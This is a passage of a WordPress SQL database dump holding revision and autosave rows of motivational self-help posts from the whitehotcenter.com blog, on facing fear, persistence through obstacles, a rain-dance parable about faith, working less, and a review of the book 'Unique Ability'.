opportunity because it is too risky. Another, allows a destructive relationship to make them miserable because they don''t want to be alone. Still another rejects an important advocation because they don''t see any usefulness to it. Fear''s general message tells us we are not yet ready to begin to do, be and have the life we desire.\r\n\r\nThe way out of this has little to do with acquiring more technical skill, education or knowledge. We must first have a change of mind about ourselves.  We must expand our awareness. We must allow a process of self-discovery. Fear is natural. It will always be around us anytime we seek to leave what is familiar. We all feel fear at the beginning of some bold endeavor.  There''s no frame of reference when we are at the beginning of something.  Only 2 in 10 people will make the decision to go for what they already see so vividly in their mind. To step forward boldly in faith and belief towards the action that will make the big idea come to life in the physical.  At some point, one must begin. Successful people just seem to know this inherently. There is no hand-wringing. They simply move elegantly toward their goal. Even though they too experience resistance and fear. They do it anyway.\r\n<h2>These times are called life''s defining moments. Welcome them.</h2>\r\nIf you are stuck in fear and crippled by confusion and anxiety, try asking yourself "what am I afraid of losing if I go forward with this idea?"  I know it sounds deceivingly simple, but really, deeply ask yourself this question.  Once you realize  you really don''t have anything to lose and everything to gain,  it makes the fear seem somehow trivial in comparison to the potential good you desire. Any idea that advances you in the direction of your goal must be acted upon. Your inner voice always knows where it must go... listen and trust it!\r\n\r\nIs there something you just know you would be so perfect for? An idea, belief or value that is sacred to you?  Are you on the edge of your comfort zone doubting it can be yours because you believe more in the compelling evidence of  your limitations than you do in your own unseen greatest potential? This is a defining moment in life.  This is the time to break free from your perceived limitations and begin! Are you ready to begin. If so,  do it NOW with what you have.  Trust that you will accomplish what you desire with the help of the unseen forces that are gathering and rallying around you. Make a decision, move forward and don''t look back.\r\n\r\nMake a decision to begin NOW! You don''t need to know how it will come to be... just begin in an easy and relaxed manner.\r\n\r\n<strong>Growth and expansion is in harmony with the direction the universe is going. We grow or begin to die slowly. It is always a choice. Whatever it is for you, begin immediately! Don''t leave this life with your song still inside you.</strong>', 'Are you ready to begin?', 0, 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you...\r\n', 'inherit', 'open', 'open', '', '31-revision-5', '', '', '2010-04-22 20:41:11', '2010-04-23 03:41:11', '', 31, 'http://www.whitehotcenter.com/2010/04/22/31-revision-5/', 0, 'revision', '', 0),
(78, 1, '2007-05-17 21:01:33', '2007-05-18 04:01:33', '<p>Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you find yourself exclaiming &quot;hey maybe this idea could work, yeah I see it!&quot; Has that ever happened to you?&nbsp; </p>\n\n<!--more-->\n<p>Of course it has. Probably many times. You, like me,&nbsp; may have stopped yourself, doubted yourself, or worse, believed you could not accomplish it at all because you don''t know the right people, don''t have enough money, time, whatever. </p>\n\n<p>Most people hold themselves back with three counter productive habits:</p>\n\n<p>They distrust their inner wisdom and doubt they posses an inventive inclination. This renders them forever dependent on the thinking and advice of others.</p>\n\n<p>They lack a long-term plan in alignment with a guiding life purpose. This enables them to stubbornly resist accepting&nbsp; full responsibility for their own future.</p>\n\n<p>They don''t believe in whatever hope or resourcefulness their own mind gives them about their own potential to radically change their life''s circumstances toward the good they desire.</p>\n\n<p>Almost all us, at one time or another, fear our own potential. One person side-steps a business opportunity because it is too risky. Another, allows a destructive relationship to make them miserable because they don''t want to be alone. Still another rejects an important advocation because they don''t see any usefulness to it. Fear''s general message tells us we are not yet ready to begin to do, be and have the life we desire.&nbsp; </p>\n\n<p>The way out of this has little to do with acquiring more technical skill, education or knowledge. We must first have a change of mind about ourselves.&nbsp; We must expand our awareness. We must allow a process of self-discovery. Fear is natural. It will always be around us anytime we seek to leave what is familiar. We all feel fear at the beginning of some bold endeavor.&nbsp; There''s no frame of reference when we are at the beginning of something.&nbsp; Only 2 in 10 people will make the decision to go for what they already see so vividly in their mind. To step forward boldly in faith and belief towards the action that will make the big idea come to life in the physical.&nbsp; At some point, one must begin. Successful people just seem to know this inherently. There is no hand-wringing. They simply move elegantly toward their goal. Even though they too experience resistance and fear. They do it anyway.\n\n</p>\n\n<p>These times are called life''s defining moments. Welcome them. </p>\n\n<p>If you are stuck in fear and crippled by confusion and anxiety, try asking yourself &quot;what am I afraid of losing if I go forward with this idea?&quot;&nbsp; I know it sounds deceivingly simple, but really, deeply ask yourself this question.&nbsp; Once you realize&nbsp; you really don''t have anything to lose and everything to gain,&nbsp; it makes the fear seem somehow trivial in comparison to the potential good you desire. Any idea that advances you in the direction of your goal must be acted upon. Your inner voice always knows where it must go... listen and trust it!</p>\n\n<p> Is there something you just know you would be so perfect for? An idea, belief or value that is sacred to you?&nbsp; Are you on the edge of your comfort zone doubting it can be yours because you believe more in the compelling evidence of&nbsp; your limitations than you do in your own unseen greatest potential? This is a defining moment in life.&nbsp; This is the time to break free from your perceived limitations and begin! Are you ready to begin. If so,&nbsp; do it NOW with what you have.&nbsp; Trust that you will accomplish what you desire with the help of the unseen forces that are gathering and rallying around you. Make a decision, move forward and don''t look back.<br /> </p>\n\n<p>That''s what I am doing right now. I am beginning to plant a new life.&nbsp; A life that is moving in a direction that is more along the lines of my purpose for being here in the first place. I am here to inspire people to live fully from their white hot center. That''s what this blog is about.&nbsp; As I find things of interest that inspire me, I''ll pass them along to my readers so they may experience equal or greater inspiration.&nbsp; And I am well-equipped for this purpose because it is MY purpose. I use MY gifts in service to others. I have discovered it within myself. Where it has always been. </p>\n\n<p>So begin. You don''t&nbsp; need to know how it will come to be... just begin in an easy and relaxed manner. I am finding this experience of writing to be completely wild and exhilarating.&nbsp; I have some new ideas that inspire me to continue to move forward despite whatever fear and doubt shows up. This venue is one example.&nbsp; It''s my prototype. I am putting it out there. I won''t let fear stop me from doing this. I have never done this before...so what!&nbsp; I am hoping to make a lot of mistakes and mis-steps because that''s how I know I am growing and expanding. Expansion is in harmony with the direction the universe is going. We grow or begin to die slowly. It is always a choice.<br /> </p>\n\n<p>Whatever it is for you, begin immediately! Don''t leave this life with your song still inside you.</p>\n', 'Are you ready to begin?', 0, 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you...\n', 'inherit', 'open', 'open', '', '31-revision', '', '', '2007-05-17 21:01:33', '2007-05-18 04:01:33', '', 31, 'http://www.whitehotcenter.com/31-revision', 0, 'revision', '', 0),
(80, 1, '2007-09-25 13:00:12', '2007-09-25 20:00:12', '<p>We all hit them from time to time in our pursuit to&nbsp; acheive what we want. There is no way to avoid brick walls. And that is the good news! Because when you are staring at a brick wall, you are looking at the raw material for your success. You have two choices:&nbsp; stop and give up, or bust through.<br /> </p>\n\n<!--more-->\n<p>Most people stop and give up. Why? I think it is because they did not want it bad enough. Brick walls are necessary obstacles for growth and expansion. When we come to an obstacle in our pursuits, it''s time to check in with ourselves and ask how badly do we desire what is on the other side of the obstacle. There is a saying &quot;the only way out is through&quot;.&nbsp; Breaking through is to grow and expand.&nbsp; Growth and expansion is a natural state of everything in the universe.&nbsp; We must grow and expand or we begin the process of dying.&nbsp; It is just the way it is. </p>\n\n<p>We often think of brick walls as external forces that we confront. But I think the biggest obstacles are within us. We can get in our own way. We&nbsp; impose obstacles to our growth and expansion simply through our beliefs about ourselves, our current attitudes, our level of awareness.&nbsp; The truth is nothing on the outside of us can have any real effect&nbsp; on our progress toward the good we desire. We create our own perception of reality by what we believe. If you believe there is not enough, or you do not now have in your possession&nbsp; what is required or necessary, then you will experience that outcome in your life.&nbsp; The brick walls we encounter are more or less of our own making.&nbsp; The perceived obstacle in front of us is there to test our conviction, passion and belief that what we want is really worthy of us. Worthy of trading our &quot;life time&quot; in exchange for the attainment and experience of our heart''s desires.</p>\n\n<p>I know this can be a difficult idea to understand. But think about any important thing that has been achieved in your life thus far. Certainly there were&nbsp; brick walls to bust through or go around in the process of your getting what you want. Obstacles are always in advance of&nbsp; achievement. As your goals and desires grow ever larger, so will the challenges. Within the challenge, one finds the raw material of success. The greater the challenge, the greater the success. If you have brick walls in your life right now, consider them to be blessings. For that is exactly what they are. </p>\n', 'Why hitting a brick wall is a good thing.', 0, 'We all hit them from time to time in our pursuit to acheive what we want. There is no way to avoid brick walls. And that is the good news! Because when you are staring at a brick wall, you...\n', 'inherit', 'open', 'open', '', '30-revision', '', '', '2007-09-25 13:00:12', '2007-09-25 20:00:12', '', 30, 'http://www.whitehotcenter.com/30-revision', 0, 'revision', '', 0),
(82, 1, '2010-03-11 08:09:24', '2010-03-11 15:09:24', '<h2><span style="color: #ff6600;"><img class="alignleft size-full wp-image-687" title="indiian" src="http://whc.fbdev.org/wp-content/uploads/2007/10/indiian.gif" alt="indiian" width="478" height="443" />Here’s a great story about a tribe of American Indians, who never failed to make it rain when they would do their rain dance.  Every time, 100%, when they danced, it rained!  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple– this particular tribe never stopped dancing.</span></h2>\nThink about that…they never stopped dancing until it rained! That''s faith in it''s most compelling form... Faith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced!\n\nFaith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. It''s just a matter of time.\n\nEverything in nature has a gestation or incubation period.  You commonly know this principal from the human pregnancy which has a gestation period of 280 days. This is the known period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.\n<h2><span style="color: #ff6600;"><span style="color: #808080;">Unlike elephants or humans, ideas take their own sweet time to be born into the physical realm. Many people quit dancing for the fulfillment of their ideas before it is time, their faith and expectation of receiving it expired.</span>\n</span></h2>\nThey give up too early and are not aware that the time necessary for manifestation simply hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  Of course not, that would be ridiculous.\n\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, doubt sets in and we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the gestation period on an big idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they give up… and “guarantee” a result– it’s just not the one they wanted, but it is the one they created.\n\nNever give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience... let it pour!\n\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith, and belief will work for you in creating what you want in life. Results are guaranteed.  The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, but the rains always, eventually come.\n\n<strong>What are you dancing for and what does your rain look like? </strong>\n\n<strong> Enjoy the dance!</strong>', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\n', 'inherit', 'open', 'open', '', '29-autosave', '', '', '2010-03-11 08:09:24', '2010-03-11 15:09:24', '', 29, 'http://www.whitehotcenter.com/29-autosave', 0, 'revision', '', 0),
(687, 2, '2010-03-11 08:04:21', '2010-03-11 15:04:21', '', 'indiian', 0, '', 'inherit', 'open', 'open', '', 'indiian', '', '', '2010-03-11 08:04:21', '2010-03-11 15:04:21', '', 29, 'http://www.whitehotcenter.com/wp-content/uploads/2007/10/indiian.gif', 0, 'attachment', 'image/gif', 0),
(83, 1, '2007-10-07 11:04:21', '2007-10-07 18:04:21', '<p>Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance.&nbsp; Every time, 100%, when they danced, it rained.&nbsp; The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple:&nbsp; this particular tribe never stopped dancing. Think about that…they never stopped dancing until it rained! </p>\n\n<!--more-->\n<p>That is faith in it''s most compelling form...</p>\n\n<p>Faith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want…so they danced!</p>\n\n<p>Faith is vitally important to every result of being, doing and having.&nbsp; We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.&nbsp; It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. Governed, of course, by the Law of Gender.&nbsp; </p>\n\n<p>The Law of Gender states that everything in nature has a gestation or an incubation period.&nbsp; You may have commonly known this principal from the human pregnancy which is 280 days. That is the period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.&nbsp; Ideas and dreams are also governed by the law of Gender.&nbsp; Just like the law of gravity, the Law of Gender is always “on”, so it is critically important to gain greater awareness and understanding of how it works. Unlike elephants or humans, ideas take their own sweet time. Many people quit dancing for the fulfillment of their ideas before it was time. They give up too early and are not aware that the time necessary for manifestation just hadn''t past yet.&nbsp; Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say &quot;Where’s the baby?!?!&quot;.&nbsp; Of course not, that would be ridiculous.&nbsp; </p>\n\n<p>Many of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, we say &quot;Where is the result?&quot;,&nbsp; or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!&nbsp; Frequently, the law of gender on an idea, dream or desire is longer than the anticipated time most people are willing to invest in it.&nbsp; As a result, they quit… and “guarantee” a result. Except it’s not the one they wanted but it is the one they created. </p>\n\n<p>So, the story of the dancing tribe of Indians illustrates perfectly how faith and the law of gender will work for you in creating what you want in life. Results are&nbsp; guaranteed.&nbsp; &nbsp;The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, and that the rains always, eventually come.</p>\n\n<p>What are you dancing for and what does your rain look like? Because, once you have what your dancing for firmly implanted with faith and belief in your sub-conscious mind, and you “know” that rain is coming, it will, it must. There are no exceptions this law. Enjoy the dance!</p>\n', 'Rain Dancing.', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\n', 'inherit', 'open', 'open', '', '29-revision', '', '', '2007-10-07 11:04:21', '2007-10-07 18:04:21', '', 29, 'http://www.whitehotcenter.com/29-revision', 0, 'revision', '', 0);
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(85, 1, '2007-10-12 16:24:42', '2007-10-12 23:24:42', '<p><p><a href="http://whc.fbdev.org/photos/uncategorized/2007/10/12/workless_9.jpg"><img border="0" src="http://whc.fbdev.org/photos/uncategorized/2007/10/12/workless_9.jpg" title="Workless_9" alt="Workless_9" class="image-full" /></a>\n</p>\n<br />\n</p>\n\n<!--more-->\n<p>\nFor all the workaholics and others who believe the only way to get\nsomething is to work hard for it, this may be a challenging idea for\nsure. It simply goes against the grain of conventional, Calvinist\nwisdom… people who don’t work hard achieve very little in life. At first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\n\n\n\n</p>\n\n<p>Actually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\n\nThink about these ideas for moment:\n\n</p>\n\n<p>-&nbsp; &nbsp;&nbsp; hard work has absolutely nothing to do with <br />&nbsp; &nbsp;&nbsp; &nbsp;creating success.<br />-&nbsp; &nbsp;&nbsp; hard work is not the basis for success.<br />-&nbsp; &nbsp;&nbsp; success is inversely proportional to hard work.<br />-&nbsp; &nbsp;&nbsp; avoiding hard work has driven all human progress.\n\n</p>\n\n<p>Speaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\n\n</p>\n\n<p>First of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life. When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. After a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around. Start with what you love.\n\n</p>\n\n<p>What do you love? I mean really love!&nbsp; What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous. </p>\n\n<p>Live your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\n\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.&nbsp; I have never met a soul who became healthy, wealthy and fulfilled:\n\n</p>\n\n<p>-&nbsp; &nbsp; keeping his nose to the grindstone<br />-&nbsp; &nbsp; pushing the ball uphill<br />-&nbsp; &nbsp; working her fingers to the bone<br />-&nbsp; &nbsp; going to a salt mine<br />-&nbsp; &nbsp; spending the day with a slave driver\n\n</p>\n\n<p>No, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love. Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals).\n</p>\n', '', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\n', 'inherit', 'open', 'open', '', '28-revision', '', '', '2007-10-12 16:24:42', '2007-10-12 23:24:42', '', 28, 'http://www.whitehotcenter.com/28-revision', 0, 'revision', '', 0),
(87, 1, '2009-07-09 17:04:41', '2009-07-10 00:04:41', '<h2><span style="color: #ff6600;">Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who you already are!</span></h2>\nThat’s the premise of a fascinating and useful book I have recently been studying, titled “Unique Ability – Creating the Life You Want”.  It is published by <a href="http://www.strategiccoach.com">The Strategic Coach</a>.<a href="http://www.strategiccoach.com">\n</a>\nThe Strategic Coach is a company that teaches successful entrepreneurs to create balance in their business and personal life, while at the same time, creating unprecedented results and rewards through their business activities. A core concept of the teachings of the Strategic Coach, is the concept that every person has a talent that they love to use that translates into activities that they do exceptionally well… a unique ability. Sounds simple enough. But don’t let the obvious simplicity of this idea dismiss its powerful and transformative effect on the results you will create when you operate from the core of your unique ability.\n<h2><span style="color: #ff6600;">Unique Ability is a way of describing a powerful force that is at the very core of who you are as an individual. Every human being comes factory-equipped with this ability. It expresses itself in the world from the earliest ages of your development.</span></h2>\nYou are such a genius at this ability that you don’t even realize its importance because your mastery is so automatic, like breathing. As a result, most people do not experience the full rewards that come from developing and harnessing the power of their unique talents and pursue their passions wholeheartedly. However, the more you are able to clearly identify and consciously develop your life around your Unique Ability – the more freedom, happiness and success you will experience. And the world will be the beneficiary of this because of the value you will be adding to people. Talent fueled by passion, especially when directed from greater self-knowledge and focused on creating value, is a powerful creative force and an awesome personal resource.\n\nOf course, your own discovery and mastery of Unique Ability is a life-long process. And it does not show up in a vacuum. It expresses itself throughout every area of your life. As you study the information in the book, you will become more aware of your good habits, the good things you “always” do. For example, one of my good habits is:\n\n“I always” follow-through on my commitments.\n\nTry it. Make a list of the good and useful things you always do. Then you begin to carefully evaluate your daily activities, the big and small things you do in your daily life. These are all methods of discovery to get you to a point where you can express with confidence (and in a simple sentence) what your Unique Ability really is.\n\nFrom this awareness, you can evaluate which of your activities fall into four important categories: incompetent, competent, excellent, and Unique Ability. The big idea here is to spend your time engaged only in those activities you have identified as Unique Ability activities. Activities in which you have the capacity of superior skill, energy, passion and never-ending improvement.  Those activities that bring you joy and fulfillment. And what of the other areas? Delegate them to others on your team whose Unique Ability is defined by the activities outside of your own. Now you have the recipe for building powerful teams of people pursuing common goals from the power of their respective Unique Abilities. Big time results will follow! Imagine if all the structures in our society were built in this manner.\n\nIn my own personal and professional life, I am in the process of reinvention and creation of a bigger future. This Unique Ability concept has been tremendously valuable for me to determine the areas where I can make quantum leaps in my progress.\n\nSo go to the <a href="http://www.strategiccoach.com" target="_blank">Strategic Coach</a> site and order the book. I read it through several times and then several times more!.  Now I use the information as a handbook to keep me focused on daily activities that express my Unique Ability. There are also other tools available from the Strategic Coach that I recommend highly. You can check those out in the Resource section of the site. And make sure you subscribe to the Strategic Coach newsletter too.', 'Unique Ability', 0, 'Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who...\n', 'inherit', 'open', 'open', '', '27-autosave', '', '', '2009-07-09 17:04:41', '2009-07-10 00:04:41', '', 27, 'http://www.whitehotcenter.com/27-autosave', 0, 'revision', '', 0),
(449, 2, '2009-07-08 15:18:55', '2009-07-08 22:18:55', '<a href="http://whc.fbdev.org/photos/uncategorized/2007/11/10/uniqueability.jpg"><img style="margin: 0px 5px 5px 0px; float: left; width: 370px; height: 289px;" title="Uniqueability" src="http://whc.fbdev.org/whitehotcenter2/images/2007/11/10/uniqueability.jpg" border="0" alt="Uniqueability" /></a>\r\n\r\nMost of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who you already are\r\n\r\nThat’s the premise of a fascinating and useful book I have recently been studying, titled “Unique Ability – Creating the Life You Want”.  It is published by <a href="http://www.strategiccoach.com">The Strategic Coach</a>.<a href="http://www.strategiccoach.com">\r\n</a>\r\nThe Strategic Coach is a company that teaches successful entrepreneurs to create balance in their business and personal life, while at the same time, creating unprecedented results and rewards through their business activities. A core concept of the teachings of the Strategic Coach, is the concept that every person has a talent that they love to use that translates into activities that they do exceptionally well… a unique ability. Sounds simple enough. But don’t let the obvious simplicity of this idea dismiss its powerful and transformative effect on the results you will create when you operate from the core of your unique ability.\r\n\r\nUnique Ability is a way of describing a powerful force that is at the very core of who you are as an individual. Every human being comes factory-equipped with this ability. It expresses itself in the world from the earliest ages of your development. You are such a genius at this ability that you don’t even realize its importance because your mastery is so automatic, like breathing. As a result, most people do not experience the full rewards that come from developing and harnessing the power of their unique talents and pursue their passions wholeheartedly. However, the more you are able to clearly identify and consciously develop your life around your Unique Ability – the more freedom, happiness and success you will experience. And the world will be the beneficiary of this because of the value you will be adding to people. Talent fueled by passion, especially when directed from greater self-knowledge and focused on creating value, is a powerful creative force and an awesome personal resource.\r\n\r\nOf course, your own discovery and mastery of Unique Ability is a life-long process. And it does not show up in a vacuum. It expresses itself throughout every area of your life. As you study the information in the book, you will become more aware of your good habits, the good things you “always” do. For example, one of my good habits is:\r\n\r\n“I always” follow-through on my commitments.\r\n\r\nTry it. Make a list of the good and useful things you always do. Then you begin to carefully evaluate your daily activities, the big and small things you do in your daily life. These are all methods of discovery to get you to a point where you can express with confidence (and in a simple sentence) what your Unique Ability really is.\r\n\r\nFrom this awareness, you can evaluate which of your activities fall into four important categories: incompetent, competent, excellent, and Unique Ability. The big idea here is to spend your time engaged only in those activities you have identified as Unique Ability activities. Activities in which you have the capacity of superior skill, energy, passion and never-ending improvement.  Those activities that bring you joy and fulfillment. And what of the other areas? Delegate them to others on your team whose Unique Ability is defined by the activities outside of your own. Now you have the recipe for building powerful teams of people pursuing common goals from the power of their respective Unique Abilities. Big time results will follow! Imagine if all the structures in our society were built in this manner.\r\n\r\nIn my own personal and professional life, I am in the process of reinvention and creation of a bigger future. This Unique Ability concept has been tremendously valuable for me to determine the areas where I can make quantum leaps in my progress.\r\n\r\nSo go to the site and order the book. I read it through first. Now I use it as a handbook to keep me focused on daily activities that express my Unique Ability. There are also other tools available from the Strategic Coach that I recommend highly. You can check those out in the Resource section of the site. And make sure you subscribe to the Strategic Coach newsletter too.', 'Unique Ability', 0, 'Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who...\r\n', 'inherit', 'open', 'open', '', '27-revision-3', '', '', '2009-07-08 15:18:55', '2009-07-08 22:18:55', '', 27, 'http://www.whitehotcenter.com/27-revision-3/', 0, 'revision', '', 0),
(88, 1, '2007-11-10 09:34:57', '2007-11-10 16:34:57', '<p><a href="http://whc.fbdev.org/photos/uncategorized/2007/11/10/uniqueability.jpg"><img border="0" alt="Uniqueability" title="Uniqueability" src="http://whc.fbdev.org/whitehotcenter2/images/2007/11/10/uniqueability.jpg" style="margin: 0px 5px 5px 0px; float: left; width: 370px; height: 289px;" /></a> </p><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><p>Most of us are raised to believe that we must fit in and adapt\nourselves to the outside world to be useful and successful. But the\ntruth is your greatest strength – and your biggest contribution – lies\nin who you already are</p>\n\n<!--more-->\n<p> That’s the premise of a fascinating and useful book I have recently been studying, titled “Unique Ability – Creating the Life You Want”.&nbsp; It is published by The Strategic Coach <a href="http://www.strategiccoach.com">(www.strategiccoach.com). <br /></a><br />The Strategic Coach is a company that teaches successful entrepreneurs to create balance in their business and personal life, while at the same time, creating unprecedented results and rewards through their business activities. A core concept of the teachings of the Strategic Coach, is the concept that every person has a talent that they love to use that translates into activities that they do exceptionally well… a unique ability. Sounds simple enough. But don’t let the obvious simplicity of this idea dismiss its powerful and transformative effect on the results you will create when you operate from the core of your unique ability.</p>\n\n<p>Unique Ability is a way of describing a powerful force that is at the very core of who you are as an individual. Every human being comes factory-equipped with this ability. It expresses itself in the world from the earliest ages of your development. You are such a genius at this ability that you don’t even realize its importance because your mastery is so automatic, like breathing. As a result, most people do not experience the full rewards that come from developing and harnessing the power of their unique talents and pursue their passions wholeheartedly. However, the more you are able to clearly identify and consciously develop your life around your Unique Ability – the more freedom, happiness and success you will experience. And the world will be the beneficiary of this because of the value you will be adding to people. Talent fueled by passion, especially when directed from greater self-knowledge and focused on creating value, is a powerful creative force and an awesome personal resource. </p>\n\n<p>Of course, your own discovery and mastery of Unique Ability is a life-long process. And it does not show up in a vacuum. It expresses itself throughout every area of your life. As you study the information in the book, you will become more aware of your good habits, the good things you “always” do. For example, one of my good habits is:</p>\n\n<p>“I always” follow-through on my commitments. </p>\n\n<p>Try it. Make a list of the good and useful things you always do. Then you begin to carefully evaluate your daily activities, the big and small things you do in your daily life. These are all methods of discovery to get you to a point where you can express with confidence (and in a simple sentence) what your Unique Ability really is. </p>\n\n<p>From this awareness, you can evaluate which of your activities fall into four important categories: incompetent, competent, excellent, and Unique Ability. The big idea here is to spend your time engaged only in those activities you have identified as Unique Ability activities. Activities in which you have the capacity of superior skill, energy, passion and never-ending improvement.&nbsp; Those activities that bring you joy and fulfillment. And what of the other areas? Delegate them to others on your team whose Unique Ability is defined by the activities outside of your own. Now you have the recipe for building powerful teams of people pursuing common goals from the power of their respective Unique Abilities. Big time results will follow! Imagine if all the structures in our society were built in this manner.</p>\n\n<p>In my own personal and professional life, I am in the process of reinvention and creation of a bigger future. This Unique Ability concept has been tremendously valuable for me to determine the areas where I can make quantum leaps in my progress.</p>\n\n<p>So go to the site and order the book. I read it through first. Now I use it as a handbook to keep me focused on daily activities that express my Unique Ability. There are also other tools available from the Strategic Coach that I recommend highly. You can check those out in the Resource section of the site. And make sure you subscribe to the Strategic Coach newsletter too.&nbsp; </p>\n', '', 0, 'Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who...\n', 'inherit', 'open', 'open', '', '27-revision', '', '', '2007-11-10 09:34:57', '2007-11-10 16:34:57', '', 27, 'http://www.whitehotcenter.com/27-revision', 0, 'revision', '', 0),
(90, 1, '2007-12-17 11:40:00', '2007-12-17 18:40:00', '<p>I have got my eyes on the horizon and I am looking out on my bigger, better future. This year, 2007, has been a most challenging year. I can’t truthfully say that I have been the least bit comfortable, satisfied or especially happy this year. But I have been, and continue to be, grateful for everything that has happened in this past year.</p>\n\n<!--more-->\n<p>My gratitude gives me pause for reflection and a little quiet time to ponder my progress towards the goals I have set for myself, and to marvel at the process of creating them. Hopefully this will add a little value to your planning on what you would like to create for yourself in the year ahead.</p>\n\n<p>I have heard it said the definition of success is the “on-going realization of a worthy ideal”.&nbsp; As I think about this definition, the key phrase for me is “on-going”.&nbsp; Which is the same as saying never give up on your good idea. This has been my year for planting good ideas in the quantum field… or, as I like to call it, “the goo of creation”.&nbsp; I am delighted to report that I have new ideas that excite me to a level where I know I will not give up on them, no matter what!&nbsp; At the beginning of this year, I made a decision to get off my ass and start crafting an exciting vision for where I want to take my life, and develop a plan of action that I believe in completely.&nbsp; </p>\n\n<p>This year was my new start… my &quot;do-over&quot;... a defining moment in the course of my life. Now twelve months later, I can perceive that I am moving in a more harmonious vibration toward my goals, attracting to me all manner of people and circumstances that are in alignment with my getting what I want. I know for some, this sounds like re-hashed self-help mumbo-jumbo. But honestly, this was my year of awakening from years of embracing the bad habit of being too comfortable with the status quo. I realized I was not growing, my business had actually dried-up, my relationships were strained, my enthusiasm for anything evaporated in the drought of negativity I had so comfortably got in the habit of embracing.&nbsp; Things in my life were beginning to die… including me. My state of depression was overwhelming at times. I was not happy about started over at the very bottom in mid-life. The challenge of looking up and out of the hole I found myself in towards a bigger, better future seemed quite impossible. </p>\n\n<p>This year I planted new seeds in the field of possibility. 